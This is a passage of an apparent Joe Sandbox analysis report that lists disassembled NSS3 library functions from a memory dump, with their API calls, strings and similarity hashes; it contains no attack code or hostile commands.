TlsGetValue.KERNEL32 ref: 6C742F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6C742F9E
PR_Unlock.NSS3(?), ref: 6C742FCA
TlsGetValue.KERNEL32 ref: 6C74301A
EnterCriticalSection.KERNEL32(?), ref: 6C74302E
PR_Unlock.NSS3(?), ref: 6C743066
PR_SetError.NSS3(00000000,00000000), ref: 6C743085
PR_Unlock.NSS3(?), ref: 6C7430EC
TlsGetValue.KERNEL32 ref: 6C74310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6C743124
PR_Unlock.NSS3(?), ref: 6C74314C

Part of subcall function 6C729180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6C75379E,?,6C729568,00000000,?,6C75379E,?,00000001,?), ref: 6C72918D
Part of subcall function 6C729180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6C75379E,?,6C729568,00000000,?,6C75379E,?,00000001,?), ref: 6C7291A0

Part of subcall function 6C6F07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C68204A), ref: 6C6F07AD
Part of subcall function 6C6F07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C68204A), ref: 6C6F07CD
Part of subcall function 6C6F07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C68204A), ref: 6C6F07D6
Part of subcall function 6C6F07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C68204A), ref: 6C6F07E4
Part of subcall function 6C6F07A0: TlsSetValue.KERNEL32(00000000,?,6C68204A), ref: 6C6F0864
Part of subcall function 6C6F07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C6F0880
Part of subcall function 6C6F07A0: TlsSetValue.KERNEL32(00000000,?,?,6C68204A), ref: 6C6F08CB
Part of subcall function 6C6F07A0: TlsGetValue.KERNEL32(?,?,6C68204A), ref: 6C6F08D7
Part of subcall function 6C6F07A0: TlsGetValue.KERNEL32(?,?,6C68204A), ref: 6C6F08FB

PR_SetError.NSS3(00000000,00000000), ref: 6C74316D

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: f2e4eef44b5bfbc992bf16197c2fb5e1701c9e9118a417ac9e894869d32b1b01
Instruction ID: ad52e606442738fb69f9cbd3010cb15feba9226b7a46cc4366883fff21151961
Opcode Fuzzy Hash: f2e4eef44b5bfbc992bf16197c2fb5e1701c9e9118a417ac9e894869d32b1b01
Instruction Fuzzy Hash: C5F1ACB1D00619AFDF10DF64D988BADBBB5BF09318F548169EC08A7711E731E895CB81

Function 6C73AF20 Relevance: 33.4, APIs: 10, Strings: 9, Instructions: 126COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SignMessage), ref: 6C73AF46
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C73AF74
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C73AF83

Part of subcall function 6C81D930: PL_strncpyz.NSS3(?,?,?), ref: 6C81D963

PR_LogPrint.NSS3(?,00000000), ref: 6C73AF99
PR_LogPrint.NSS3( pParameter = 0x%p,?), ref: 6C73AFBE
PR_LogPrint.NSS3( ulParameterLen = 0x%p,?), ref: 6C73AFD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C73AFF4
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C73B00F
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6C73B028
PR_LogPrint.NSS3( pulSignatureLen = 0x%p,?), ref: 6C73B041

Strings

hSession = 0x%x, xrefs: 6C73AF5E, 6C73AF6E
(CK_INVALID_HANDLE), xrefs: 6C73AF7C
pParameter = 0x%p, xrefs: 6C73AFB9
C_SignMessage, xrefs: 6C73AF41
pData = 0x%p, xrefs: 6C73AFEF
ulDataLen = %d, xrefs: 6C73B00A
ulParameterLen = 0x%p, xrefs: 6C73AFD4
pSignature = 0x%p, xrefs: 6C73B023
pulSignatureLen = 0x%p, xrefs: 6C73B03C

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pParameter = 0x%p$ pSignature = 0x%p$ pulSignatureLen = 0x%p$ ulDataLen = %d$ ulParameterLen = 0x%p$ (CK_INVALID_HANDLE)$C_SignMessage
API String ID: 1003633598-1612141141
Opcode ID: 935a883cf4fb29e9bd7df06bc2c5863f055b6fd8e5d365302f0ac29d3d05daf2
Instruction ID: 2a8690727917bfef1fb13c0214f31028a2c8f32183d96be49c625f10b30fd78e
Opcode Fuzzy Hash: 935a883cf4fb29e9bd7df06bc2c5863f055b6fd8e5d365302f0ac29d3d05daf2
Instruction Fuzzy Hash: 3841E435605025AFDB208F54DF4CEA937B5AB4235DF086474F4085BB12C73CA858DBE5

Function 6C729FA0 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C729FBE

Part of subcall function 6C702F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C702F0A
Part of subcall function 6C702F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C702F1D

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C72A015

Part of subcall function 6C741940: TlsGetValue.KERNEL32(00000000,00000000,?,00000001,?,6C74563C,?,?,00000000,00000001,00000002,?,?,?,?,?), ref: 6C74195C
Part of subcall function 6C741940: EnterCriticalSection.KERNEL32(?,?,6C74563C,?,?,00000000,00000001,00000002,?,?,?,?,?,6C71EAC5,00000001), ref: 6C741970
Part of subcall function 6C741940: PR_Unlock.NSS3(?,?,00000000,00000001,00000002,?,?,?,?,?,6C71EAC5,00000001,?,6C71CE9B,00000001,6C71EAC5), ref: 6C7419A0

PL_FreeArenaPool.NSS3(?), ref: 6C72A067
PR_CallOnce.NSS3(6C862AA4,6C7612D0), ref: 6C72A055

Part of subcall function 6C684C70: TlsGetValue.KERNEL32(?,?,?,6C683921,6C8614E4,6C7CCC70), ref: 6C684C97
Part of subcall function 6C684C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C683921,6C8614E4,6C7CCC70), ref: 6C684CB0
Part of subcall function 6C684C70: PR_Unlock.NSS3(?,?,?,?,?,6C683921,6C8614E4,6C7CCC70), ref: 6C684CC9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C72A07E
PR_CallOnce.NSS3(6C862AA4,6C7612D0), ref: 6C72A0B1
PL_FreeArenaPool.NSS3(?), ref: 6C72A0C7
PL_FinishArenaPool.NSS3(?), ref: 6C72A0CF
PR_CallOnce.NSS3(6C862AA4,6C7612D0), ref: 6C72A12E
PL_FreeArenaPool.NSS3(?), ref: 6C72A140
PL_FinishArenaPool.NSS3(?), ref: 6C72A148
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C72A158
PL_FinishArenaPool.NSS3(?), ref: 6C72A175
CERT_AddCertToListTail.NSS3(00000000,00000000), ref: 6C72A1A5
CERT_DestroyCertificate.NSS3(00000000), ref: 6C72A1B2
free.MOZGLUE(00000000), ref: 6C72A1C6
CERT_DestroyCertList.NSS3(00000000), ref: 6C72A1D6

Part of subcall function 6C7455E0: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,6C71EAC5,00000001,?,6C71CE9B,00000001,6C71EAC5,00000003,-00000004,00000000,?,6C71EAC5), ref: 6C745627
Part of subcall function 6C7455E0: PR_CallOnce.NSS3(6C862AA4,6C7612D0,?,?,?,?,?,?,?,?,?,?,6C71EAC5,00000001,?,6C71CE9B), ref: 6C74564F
Part of subcall function 6C7455E0: PL_FreeArenaPool.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C71EAC5,00000001), ref: 6C745661
Part of subcall function 6C7455E0: PR_SetError.NSS3(FFFFE01A,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C71EAC5), ref: 6C7456AF

Strings

security, xrefs: 6C72A00F

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Arena$Pool$CallFreeOnce$CertErrorFinishList$CriticalDestroyEnterInitSectionUnlockUtilValue$Alloc_Arena_CertificateTailfree
String ID: security
API String ID: 3250630715-3315324353
Opcode ID: 7c5ea18f8b2eceaccda2e83d16c2abe5a7a581e4b0ac2f94994206a362a78d2a
Instruction ID: 1620236d9b8a0839a4283a5213d079e2d61476764bc2ebf6729e53b663de702d
Opcode Fuzzy Hash: 7c5ea18f8b2eceaccda2e83d16c2abe5a7a581e4b0ac2f94994206a362a78d2a
Instruction Fuzzy Hash: FC512AB1E00205ABEB109BA5DF4CBAEB379AF4576CF104034E805AAB41F779D609C792

Function 6C744C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C744C4C
EnterCriticalSection.KERNEL32(?), ref: 6C744C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C744CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C744CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C744CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C744D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C744D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C744DB7

Part of subcall function 6C7ADD70: TlsGetValue.KERNEL32 ref: 6C7ADD8C
Part of subcall function 6C7ADD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C7ADDB4

Part of subcall function 6C6F07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C68204A), ref: 6C6F07AD
Part of subcall function 6C6F07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C68204A), ref: 6C6F07CD
Part of subcall function 6C6F07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C68204A), ref: 6C6F07D6
Part of subcall function 6C6F07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C68204A), ref: 6C6F07E4
Part of subcall function 6C6F07A0: TlsSetValue.KERNEL32(00000000,?,6C68204A), ref: 6C6F0864
Part of subcall function 6C6F07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C6F0880
Part of subcall function 6C6F07A0: TlsSetValue.KERNEL32(00000000,?,?,6C68204A), ref: 6C6F08CB
Part of subcall function 6C6F07A0: TlsGetValue.KERNEL32(?,?,6C68204A), ref: 6C6F08D7
Part of subcall function 6C6F07A0: TlsGetValue.KERNEL32(?,?,6C68204A), ref: 6C6F08FB

TlsGetValue.KERNEL32 ref: 6C744DD7
EnterCriticalSection.KERNEL32(?), ref: 6C744DEC
PR_Unlock.NSS3(?), ref: 6C744E1B
PR_SetError.NSS3(00000000,00000000), ref: 6C744E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C744E5A
PR_SetError.NSS3(00000000,00000000), ref: 6C744E71
free.MOZGLUE(00000000), ref: 6C744E7A
PR_Unlock.NSS3(?), ref: 6C744EA2
TlsGetValue.KERNEL32 ref: 6C744EC1
EnterCriticalSection.KERNEL32(?), ref: 6C744ED6
PR_Unlock.NSS3(?), ref: 6C744F01
free.MOZGLUE(00000000), ref: 6C744F2A

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: ddbc292f4e6ba06b94ce3cbdfb291df7b4b938dc948710057c40906b822d1aa6
Instruction ID: b7453952d36d14c6f3ef9c351b111d2f27e1c8f188b9aa2b2aaa198cd598e68c
Opcode Fuzzy Hash: ddbc292f4e6ba06b94ce3cbdfb291df7b4b938dc948710057c40906b822d1aa6
Instruction Fuzzy Hash: 8BB123B5A002069FDB11EF68D949AAA77B4BF0931CF048134ED1597B01EB34E961EFD2

Function 6C74FFB0 Relevance: 30.1, APIs: 20, Instructions: 68COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(?,?,6C7476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7175C2,00000000), ref: 6C74FFB4

Part of subcall function 6C7C98D0: calloc.MOZGLUE(00000001,00000084,6C6F0936,00000001,?,6C6F102C), ref: 6C7C98E5

PR_NewLock.NSS3(?,?,6C7476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7175C2,00000000), ref: 6C74FFC6

Part of subcall function 6C7C98D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C7C9946
Part of subcall function 6C7C98D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C6816B7,00000000), ref: 6C7C994E
Part of subcall function 6C7C98D0: free.MOZGLUE(00000000), ref: 6C7C995E

PR_NewLock.NSS3(?,?,6C7476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7175C2,00000000), ref: 6C74FFD6
PR_NewLock.NSS3(?,?,6C7476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7175C2,00000000), ref: 6C74FFE6
PR_NewLock.NSS3(?,?,6C7476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7175C2,00000000), ref: 6C74FFF6
PR_NewLock.NSS3(?,?,6C7476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7175C2,00000000), ref: 6C750006
PR_NewLock.NSS3(?,?,6C7476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7175C2,00000000), ref: 6C750016
PR_NewLock.NSS3(?,?,6C7476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7175C2,00000000), ref: 6C750026
PR_NewLock.NSS3(?,?,6C7476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7175C2,00000000), ref: 6C750036
PR_NewLock.NSS3(?,?,6C7476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7175C2,00000000), ref: 6C750046
PR_NewLock.NSS3(?,?,6C7476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7175C2,00000000), ref: 6C750056
PR_NewLock.NSS3(?,?,6C7476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7175C2,00000000), ref: 6C750066
PR_NewLock.NSS3(?,?,6C7476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7175C2,00000000), ref: 6C750076
PR_NewLock.NSS3(?,?,6C7476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7175C2,00000000), ref: 6C750086
PR_NewLock.NSS3(?,?,6C7476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7175C2,00000000), ref: 6C750096
PR_NewLock.NSS3(?,?,6C7476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7175C2,00000000), ref: 6C7500A6
PR_NewLock.NSS3(?,?,6C7476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7175C2,00000000), ref: 6C7500B6
PR_NewLock.NSS3(?,?,6C7476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7175C2,00000000), ref: 6C7500C6
PR_NewLock.NSS3(?,?,6C7476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7175C2,00000000), ref: 6C7500D6
PR_NewLock.NSS3(?,?,6C7476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7175C2,00000000), ref: 6C7500E6

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Lock$CountCriticalErrorInitializeLastSectionSpincallocfree
String ID:
API String ID: 1407103528-0
Opcode ID: cab7c0a23c0de3bebc808f919dd6b48dde540dd7d7217340b5499cb146d79ae1
Instruction ID: 3bd386fbaf1eb874b50ec6f93dcce54a888cec56a6c0d0e4750aa6b5330b956a
Opcode Fuzzy Hash: cab7c0a23c0de3bebc808f919dd6b48dde540dd7d7217340b5499cb146d79ae1
Instruction Fuzzy Hash: 9831F1F1F01626DE8BA5DF27828C16A3AF4B726B4CB1061BAD11487750DB7C014ACFD6

Function 6C796E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6C796BF7), ref: 6C796EB6

Part of subcall function 6C6F1240: TlsGetValue.KERNEL32(00000040,?,6C6F116C,NSPR_LOG_MODULES), ref: 6C6F1267
Part of subcall function 6C6F1240: EnterCriticalSection.KERNEL32(?,?,?,6C6F116C,NSPR_LOG_MODULES), ref: 6C6F127C
Part of subcall function 6C6F1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C6F116C,NSPR_LOG_MODULES), ref: 6C6F1291
Part of subcall function 6C6F1240: PR_Unlock.NSS3(?,?,?,?,6C6F116C,NSPR_LOG_MODULES), ref: 6C6F12A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6C83FC0A,6C796BF7), ref: 6C796ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C796EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6C796EFC
PR_NewLock.NSS3 ref: 6C796F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C796F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6C796BF7), ref: 6C796F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6C796BF7), ref: 6C796F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6C796BF7), ref: 6C796FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6C796BF7), ref: 6C796FFD

Strings

# SSL/TLS secrets log file, generated by NSS, xrefs: 6C796EF7
SSLFORCELOCKS, xrefs: 6C796F2B
NSS_SSL_CBC_RANDOM_IV, xrefs: 6C796FF8
NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6C796F4F
NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6C796FDB
SSLKEYLOGFILE, xrefs: 6C796EB1

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: 9b0e442ef13fe34a1a91171820f702f1378e3572e5c9c7af173729bf1f89edd1
Instruction ID: b0dcc9a79554812cf0857b29131c004cd8051b391977c1d62ab5e583000b0569
Opcode Fuzzy Hash: 9b0e442ef13fe34a1a91171820f702f1378e3572e5c9c7af173729bf1f89edd1
Instruction Fuzzy Hash: F8A12BB2A599C087E760863DEE0135432B2AB9332EF588775E931C7ED5DB799440C3CA

Function 6C715DB0 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 238memoryCOMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C715DEC
PR_SetError.NSS3(FFFFE0B5,00000000,?,?,?,?,?,?,?,?), ref: 6C715E0F
PORT_ZAlloc_Util.NSS3(00000828), ref: 6C715E35
SECKEY_CopyPublicKey.NSS3(?), ref: 6C715E6A
HASH_GetHashTypeByOidTag.NSS3(00000000), ref: 6C715EC3
NSS_GetAlgorithmPolicy.NSS3(00000000,00000020), ref: 6C715ED9
SECKEY_SignatureLen.NSS3(?), ref: 6C715F09
PR_SetError.NSS3(FFFFE0B5,00000000), ref: 6C715F49
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C715F89
free.MOZGLUE(?), ref: 6C715FA0
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C715FB6
free.MOZGLUE(00000000), ref: 6C715FBF
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C71600C
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C716079
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C716084
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C716094

Strings

, xrefs: 6C715EEB

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Item_Zfree$AlgorithmErrorPolicyPublicfreememcpy$Alloc_CopyDestroyHashSignatureType
String ID:
API String ID: 2310191401-3916222277
Opcode ID: 695986754f6c231ba3fc36c3deff84f383a94ee3e62f1d43996aa69d5fc5d4e6
Instruction ID: b94ccac621357197893be13492317e0f8dcc34067423928a216b2ce39a1021cc
Opcode Fuzzy Hash: 695986754f6c231ba3fc36c3deff84f383a94ee3e62f1d43996aa69d5fc5d4e6
Instruction Fuzzy Hash: E68117B1E082059BDB548E64EE89B9E77B9AF05318F1C4138E819A7F81E731D908CBD1

Function 6C736D60 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Digest), ref: 6C736D86
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C736DB4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C736DC3

Part of subcall function 6C81D930: PL_strncpyz.NSS3(?,?,?), ref: 6C81D963

PR_LogPrint.NSS3(?,00000000), ref: 6C736DD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C736DFA
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C736E13
PR_LogPrint.NSS3( pDigest = 0x%p,?), ref: 6C736E2C
PR_LogPrint.NSS3( pulDigestLen = 0x%p,?), ref: 6C736E47
PR_LogPrint.NSS3( *pulDigestLen = 0x%x,?), ref: 6C736EB9

Strings

hSession = 0x%x, xrefs: 6C736D9E, 6C736DAE
(CK_INVALID_HANDLE), xrefs: 6C736DBC
pDigest = 0x%p, xrefs: 6C736E27
pData = 0x%p, xrefs: 6C736DF5
ulDataLen = %d, xrefs: 6C736E0E
pulDigestLen = 0x%p, xrefs: 6C736E42
*pulDigestLen = 0x%x, xrefs: 6C736EB4
C_Digest, xrefs: 6C736D81

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulDigestLen = 0x%x$ hSession = 0x%x$ pData = 0x%p$ pDigest = 0x%p$ pulDigestLen = 0x%p$ ulDataLen = %d$ (CK_INVALID_HANDLE)$C_Digest
API String ID: 1003633598-2270781106
Opcode ID: 06b9d34c023a35b11c90064add2789638d3fd039590d6dadc22c31a93e92c3fb
Instruction ID: ac4cd96a87c3888e2e0e5bc1269d9067983875434e357b305cc1d7ba469ed869
Opcode Fuzzy Hash: 06b9d34c023a35b11c90064add2789638d3fd039590d6dadc22c31a93e92c3fb
Instruction Fuzzy Hash: E141E635605025AFDB219B55CE4DE6A3BB5BB4230CF046474F8099BB13DB38A958CBD2

Function 6C739C40 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 118COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_LoginUser), ref: 6C739C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C739C94
